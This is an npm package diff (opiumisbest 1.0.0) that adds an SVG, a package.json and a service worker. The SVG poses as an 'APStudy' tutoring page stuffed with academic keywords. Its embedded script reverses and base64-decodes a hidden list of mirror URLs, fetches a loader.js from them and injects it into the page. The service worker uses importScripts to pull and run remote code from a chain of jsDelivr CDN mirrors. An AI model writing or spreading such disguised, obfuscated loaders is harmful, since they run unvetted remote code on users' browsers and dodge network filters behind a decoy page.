opiumisbest 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.svg +67 -0
  2. package/package.json +4 -0
  3. package/sw.js +42 -0
package/index.svg ADDED
@@ -0,0 +1,67 @@
1
+ <svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%">
2
+ <foreignObject width="100%" height="100%">
3
+ <html xmlns="http://www.w3.org/1999/xhtml" lang="en">
4
+ <head>
5
+ <script>(function(){const XHTML_NS="http://www.w3.org/1999/xhtml";const root=document.querySelector("foreignObject").firstElementChild;const originalCreateElement=document.createElement.bind(document);const originalCreateElementNS=document.createElementNS.bind(document);Object.defineProperty(document,"head",{get(){return root.querySelector("head")},configurable:true});Object.defineProperty(document,"body",{get(){return root.querySelector("body")},configurable:true});Object.defineProperty(document,"documentElement",{get(){return root},configurable:true});document.createElement=function(tagName,options){if(typeof tagName==="string"){return originalCreateElementNS(XHTML_NS,tagName,options)}return originalCreateElement(tagName,options)};document.createElementNS=function(namespaceURI,qualifiedName,options){if(namespaceURI==null||namespaceURI===XHTML_NS){return originalCreateElementNS(XHTML_NS,qualifiedName,options)}return originalCreateElementNS(namespaceURI,qualifiedName,options)};})();</script>
6
+ <style><![CDATA[html,body{margin:0;width:100%;height:100%;overflow:hidden}foreignObject{overflow:visible}]]></style>
7
+
8
+ <meta charset="UTF-8" />
9
+ <title>APStudy | Math and Language Arts Tutoring</title>
10
+
11
+ <link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin="anonymous" />
12
+ <link rel="dns-prefetch" href="https://cdn.jsdelivr.net" />
13
+
14
+ <script>
15
+ (async () => {
16
+ const reverseStr = (str) => str.split("").reverse().join("");
17
+
18
+ const encodedMirrors = "=8SZnFmcvR3cvQXZiJXZoN1Zu9GVvg2ZvQXZu5ibkNWLi5ic2lGblR2cq9yL6MHc0RHas8SZnFmcvR3cvQXZiJXZoN1Zu9GVvg2ZvQXZu5ic2lGblR2cq5SesR3chZmbpdWay92LvozcwRHdoxyLldWYy9Gdz9CdlJmclh2Un52bU9Can9Cdl5mLyZXasVGZzpmLlJ3bjd2LvozcwRHdoxyLldWYy9Gdz9CdlJmclh2Un52bU9Can9Cdl5mLyZXasVGZzpmLmN2ZulGdzVGdv8iOzBHd0hGLvU2ZhJ3b0N3L0VmYyVGaTdmbvR1Lod2L0VmbuIndpxWZkNnaukHb0NXYm9yL6MHc0RHa";
19
+ const mirrors = atob(reverseStr(encodedMirrors)).split(",");
20
+
21
+ const hourlyCacheKey = Math.floor(Date.now() / 3600000);
22
+ const controller = new AbortController();
23
+
24
+ try {
25
+ const { base, txt } = await Promise.any(
26
+ mirrors.map(async (baseUrl) => {
27
+ const res = await fetch(`${baseUrl}loader.js?${hourlyCacheKey}`, {
28
+ cache: "no-store",
29
+ signal: controller.signal
30
+ });
31
+ if (!res.ok) throw new Error("fetch failed");
32
+ return { base: baseUrl, txt: await res.text() };
33
+ })
34
+ );
35
+
36
+ controller.abort();
37
+ window.assetsBase = base;
38
+
39
+ const script = document.createElement("script");
40
+ script.textContent = txt;
41
+ document.head.appendChild(script);
42
+ } catch {
43
+ alert("failed to fetch opium assets, contact us on Discord for more assistance");
44
+ }
45
+ })();
46
+ </script>
47
+ </head>
48
+ <body style="background:#000">
49
+ <div>
50
+ <p>APStudy helps students master algebra, calculus, geometry, and trigonometry alongside essay writing, grammar, and literary analysis for AP exams.</p>
51
+ <section>
52
+ <h2>Mathematics</h2>
53
+ <p>We cover algebra, calculus, derivatives, integrals, quadratic equations, probability, and statistics including the Pythagorean theorem and trigonometry.</p>
54
+ </section>
55
+ <section>
56
+ <h2>Science</h2>
57
+ <p>Sessions cover biology, chemistry, and physics through hypothesis, experiment, photosynthesis, and thermodynamics.</p>
58
+ </section>
59
+ <section>
60
+ <h2>English and Writing</h2>
61
+ <p>Tutors help with essay, thesis, grammar, syntax, rhetoric, symbolism, and irony across persuasive and narrative writing.</p>
62
+ </section>
63
+ </div>
64
+ </body>
65
+ </html>
66
+ </foreignObject>
67
+ </svg>
package/package.json ADDED
@@ -0,0 +1,4 @@
1
+ {
2
+ "name": "opiumisbest",
3
+ "version": "1.0.0"
4
+ }
package/sw.js ADDED
@@ -0,0 +1,42 @@
1
+ const host = location.hostname;
2
+ const isDev = ["localhost", "127.0.0.1"].includes(host) || host.endsWith("ngrok-free");
3
+
4
+ const cdns = [
5
+ "https://cdn.jsdelivr.net/gh/TongSherbet/storage/",
6
+ "https://quantil.jsdelivr.net/gh/TongSherbet/storage/",
7
+ "https://fastly.jsdelivr.net/gh/TongSherbet/storage/",
8
+ "https://testingcf.jsdelivr.net/gh/TongSherbet/storage/",
9
+ "https://gcore.jsdelivr.net/gh/TongSherbet/storage/",
10
+ "https://originfastly.jsdelivr.net/gh/TongSherbet/storage/",
11
+ "https://b-cdn.jsdelivr.net/gh/TongSherbet/storage/"
12
+ ];
13
+
14
+ let activeCdn = null;
15
+
16
+ function getScriptUrl(path) {
17
+ if (isDev) {
18
+ return `${location.protocol}//${location.hostname}:${location.port}/stuff/${path}`;
19
+ }
20
+ return (activeCdn || cdns[0]) + path;
21
+ }
22
+
23
+ if (isDev) {
24
+ importScripts(getScriptUrl("sw.js"));
25
+ } else {
26
+ let lastError;
27
+ for (const cdn of cdns) {
28
+ try {
29
+ activeCdn = cdn;
30
+ importScripts(`${cdn}sw.js`);
31
+ lastError = null;
32
+ break;
33
+ } catch (err) {
34
+ lastError = err;
35
+ activeCdn = null;
36
+ }
37
+ }
38
+
39
+ if (lastError) {
40
+ throw lastError;
41
+ }
42
+ }